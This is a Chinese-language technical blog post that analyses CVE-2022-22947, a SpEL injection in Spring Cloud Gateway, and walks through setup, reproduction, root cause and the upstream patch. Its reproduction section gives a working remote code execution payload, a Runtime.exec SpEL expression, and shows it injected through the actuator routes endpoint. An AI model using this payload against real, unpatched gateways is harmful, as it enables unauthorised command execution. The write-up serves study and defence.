SpringCloud Gateway 漏洞分析

背景

SpringCloud 是Spring提供的微服务实现框架,其中包含网关、配置中心和注册中心等内容,网关的第一代实现为zuul,第二代实现为Gateway,提供了更好的性能和特性。

网关可以提供统一的流量控制和访问控制等功能,一般放在客户端请求的入口或作为nginx的直接上游如下图。

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Gateway 使用

Gateway配置可以使用两种方式:

  1. yml或者properties 固定配置
  2. 通过actuator插件动态添加

作为一个网关最主要的功能就是路由功能,而路由的规则由Route、Predicate、Filter 三部分组成。

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  • Spring Cloud Gateway < 3.1.1
  • Spring Cloud Gateway < 3.0.7

实操

yml固定配置方式

  1. 首先在idea中新建spring项目,pom中引入spring-cloud-starter-gateway依赖(一般使用引入starter即可,这里单独指定含漏洞的自动配置底层包)
        <dependency>             <groupId>org.springframework.cloud</groupId>             <artifactId>spring-cloud-starter-gateway</artifactId>         </dependency> <!--        有漏洞底层包版本-->         <dependency>             <groupId>org.springframework.cloud</groupId>             <artifactId>spring-cloud-gateway-server</artifactId>             <version>3.1.0</version>         </dependency> 
  1. 在application.yml或者application.properties中新建以下配置:
spring:   application:     name: GatewatDemo    cloud:     gateway:       routes:         - id: "router1"           uri: "http://127.0.0.1:9223/"           predicates:             - Path=/           filters:             - AddResponseHeader=Result,1 

配置含义: 新建了一个id为router1 的路由,规则为当请求的路径为/时,将请求转发给http://127.0.0.1:9223 (predicates)并给响应增加一个头Result值为1(filter)。

本地起一个9223服务,观察能否转发。启动项目,转发成功。这就是一个网关基本的功能。

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动态配置

除了通过配置文件写死的方式,Gateway也支持通过Actuator(spring 监控组件)动态配置路由。

  1. pom中新引入spring-boot-starter-actuator
 <dependency>             <groupId>org.springframework.boot</groupId>             <artifactId>spring-boot-starter-actuator</artifactId>  </dependency> 
  1. 配置文件( Spring Boot 2.x 后为了安全起见默认只开放/actuator/health和/actuator/info端点),开启gateway监控
management:   endpoint:     gateway:       enabled: true    endpoints:     web:       exposure:         include: gateway 
  1. 重启应用,访问http://localhost:8080/actuator/gateway/routes,出现下面页面则表示配置成功。

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  1. 使用actuator动态创建路由,使用post请求发送以下内容到http://127.0.0.1:8080/actuator/gateway/routes/router2
{   "id": "router2",   "filters": [{     "name": "AddResponseHeader",     "args": {       "name": "Result",       "value": "2"     }   }],   "uri": "http://127.0.0.1:9224",    "predicate": "/9224" } 

含义和第一种类似,不过转发路径变成了9224.

  1. 请求http://127.0.0.1:8080/actuator/gateway/refresh 应用配置
  2. 请求页面,页面404,这事因为9224的后端服务没有/9224这个端点所以是404,但有请求记录,证明转发成功。

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  1. 为了使请求正常,所以配置新增一项重写path
{   "id": "router2",   "filters": [{     "name": "AddResponseHeader",     "args": {       "name": "Result",       "value": "2"     }        },{         "name":"RewritePath",         "args":{             "_genkey_0":"/9224",             "_genkey_1":"/"         }     }],   "uri": "http://127.0.0.1:9224",   "predicate": "/9224" } 
  1. 重新访问,页面正常

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漏洞复现

其实这个漏洞本身是一个SpEL注入,我们尝试在之前的yml配置文件中使用SpEL表达式,我们将filter中的AddResponseHeader 值改为#{1+1}

spring:   application:     name: GatewatDemo    cloud:     gateway:       routes:         - id: "router1"           uri: "http://127.0.0.1:9223/"           predicates:             - Path=/           filters:             - AddResponseHeader=Result,#{1+1} 

查看返回头,表达式被成功执行:

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将表达式替换成恶意的SpEL表达式即可触发RCE,#{T(Runtime).getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")}

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虽然这个地方确实存在SpEL注入,但却很难利用,因为攻击者很难控制目标机器的配置文件,所以利用条件就变成了有没有开启Actuator,且Actuator开启了gateway功能没有配置spring security。

使用动态创建的方法试试。

使用以下payload请求创建路由:

{   "id": "router2",   "filters": [{     "name": "AddResponseHeader",     "args": {       "name": "Result",       "value": "#{T(Runtime).getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')}"     }        },{         "name":"RewritePath",         "args":{             "_genkey_0":"/9224",             "_genkey_1":"/"         }     }],   "uri": "http://127.0.0.1:9224",   "predicate": "/9224" } 

刷新路由,发现代码成功执行。

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原理分析

我们打开spring-cloud-gateway的官网,发现SpEL原本是官方提供的一个引用bean的功能。

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我们对exec执行下个断点,观察程序的调用栈。

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前面一堆是Reactor的逻辑,因为是异步非阻塞的方式,所以阅读起来有一定门槛。

简单来说,就是当我们请求/actuator/gateway/routes/refresh时会去调用注册在reactor 中的方法,然后请求org.springframework.cloud.gateway.actuate 包中的refresh()方法

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后续会将application的上下文传入gateway的逻辑,在处理Filter的逻辑中会对属性字段进行normalizeProperties 操作:

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具体逻辑会放入normalize中进行处理,其中第一个参数即为我们自己配置的filter处理逻辑

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第三个参数为SpEL的parse。

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随后进入ShorcutType中的normalize进行处理,解析key、value进入并将value传入getValue():

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在getValue中对字符串进行trim操作,同时判断字符串以#{开始并以}结束:

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如果满足条件则进入SpEL进行解析,可以看到这里导致能够RCE的原因,使用了StandardEvaluationContext 作为context, 随后对配置文件的value进行标准SpEL解析。

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到这里就基本理解了漏洞触发的原因

补丁分析

在2月17号,开发者提交了在org.springframework.cloud.gateway.support#ShortcutConfigurable使用自定义Context方式替换原来的StanderdContext

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自定义的Context增加了Spring的BeanFactory类,从而能实现对Spinrg IOC容器 bean的引用。

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修复后新版本运行会报错:

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总结

漏洞影响版本:

  • Spring Cloud Gateway < 3.1.1
  • Spring Cloud Gateway < 3.0.7

基本上和SpringCloud Functions 一样是个SpEL注入的漏洞,只不过在网关的场景出现,需要应用暴露actuator,有一定前置条件。

引用

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22947

https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/

https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e

https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator

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